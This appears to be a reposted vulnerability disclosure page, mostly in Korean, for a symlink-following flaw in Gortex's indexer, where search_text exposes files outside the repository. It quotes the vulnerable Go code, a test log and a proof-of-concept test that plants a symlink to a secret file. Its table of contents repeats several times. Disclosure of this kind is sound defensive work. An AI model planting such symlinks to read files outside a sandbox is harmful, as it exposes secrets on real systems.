gortex-PoC — PoC — Gortex의 search_text를 통한 저장소 외부 콘텐츠 노출로 이어지는 심볼릭 링크 추적 (GHSA-6vhf-4wcm-2r83, CVE-2026-87003, CVSS 5.5). | Kitploit

err = filepath.WalkDir(absRoot, func(path string, d os.DirEntry, err error) error {
    if err != nil { return nil }
    if d.IsDir() {
        if idx.shouldPruneDir(path, absRoot) { return filepath.SkipDir }
        return nil
    }
    lang, ok := idx.effectiveLanguage(path, nil)   // detects by extension; symlink name is enough
    if !ok { return nil }
    if idx.shouldExclude(path, absRoot, false) { return nil }
    info, statErr := d.Info()                      // Lstat'd DirEntry.Info() — no ModeSymlink check
    ...
    files = append(files, walkedFile{path: path, lang: lang, size: info.Size(), mtimeNano: info.ModTime().UnixNano()})
    return nil
})

content, err := os.ReadFile(filepath.Join(root, filepath.FromSlash(rel)))  // Build — follows symlink
...
f, err := os.Open(filepath.Join(s.root, filepath.FromSlash(rel)))          // Grep/GrepRegexp — follows symlink

$ CGO_ENABLED=1 go test ./internal/mcp/... -run TestPoC_SymlinkFollow_SearchTextDisclosesOutOfRepoContent -v
mcp [build failed]
  cgo: C compiler "gcc" not found: exec: "gcc": executable file not found in $PATH

func TestPoC_SymlinkFollow_SearchTextDisclosesOutOfRepoContent(t *testing.T) {
	outsideDir := t.TempDir()
	secretPath := filepath.Join(outsideDir, "secret.txt")
	const secretMarker = "GORTEX-POC-SECRET-OUTSIDE-REPO-9f3a1c"
	os.WriteFile(secretPath, []byte("BEGIN OUTSIDE-REPO FILE\n"+secretMarker+"\nEND OUTSIDE-REPO FILE\n"), 0o600)

	repoDir := t.TempDir()
	os.WriteFile(filepath.Join(repoDir, "main.go"), []byte("package app\n\nfunc Hello() {}\n"), 0o644)
	os.Symlink(secretPath, filepath.Join(repoDir, "pwn.go"))   // symlink INSIDE repo -> OUTSIDE target

	idx := indexer.New(g, reg, cfg.Index, zap.NewNop())
	idx.Index(repoDir)                                          // walk admits pwn.go, no symlink check
	srv := NewServer(eng, g, idx, nil, zap.NewNop(), nil)

	res := callTool(t, srv, "search_text", map[string]any{"query": secretMarker})
	// asserts: res.IsError == false, exactly 1 match, Path == "pwn.go",
	// Text contains secretMarker — i.e. the OUTSIDE file's real content.
}

연구자	Dostxodjayev Abdullox (@squeeze440)
권고	GHSA-6vhf-4wcm-2r83
CVSS 3.1	5.5 (Medium)
취약점	CWE-59, CWE-200

gortex-PoC

인기

인덱서 파일 순회에서의 심볼릭 링크 추적 → `search_text`를 통한 저장소 외부 콘텐츠 노출

요약

제품

테스트된 버전

추정 CVSS v3.1

세부 사항

근본 원인 1 — 인덱서 순회가 심볼릭 링크된 파일 항목을 검사하지 않음

근본 원인 2 — `search_text` 싱크가 격리 가드 없이 실시간 파일을 재읽기함

중복 위험 / 구별성 검사

개념 증명

영향

취약점

수정

크레딧

보고 채널

gortex-PoC

인기

인덱서 파일 순회에서의 심볼릭 링크 추적 → search_text를 통한 저장소 외부 콘텐츠 노출

인덱서 파일 순회에서의 심볼릭 링크 추적 → search_text를 통한 저장소 외부 콘텐츠 노출

요약

제품

테스트된 버전

추정 CVSS v3.1

세부 사항

근본 원인 1 — 인덱서 순회가 심볼릭 링크된 파일 항목을 검사하지 않음

근본 원인 2 — search_text 싱크가 격리 가드 없이 실시간 파일을 재읽기함

중복 위험 / 구별성 검사

개념 증명

영향

취약점

수정

크레딧

보고 채널

인덱서 파일 순회에서의 심볼릭 링크 추적 → `search_text`를 통한 저장소 외부 콘텐츠 노출

인덱서 파일 순회에서의 심볼릭 링크 추적 → `search_text`를 통한 저장소 외부 콘텐츠 노출

근본 원인 2 — `search_text` 싱크가 격리 가드 없이 실시간 파일을 재읽기함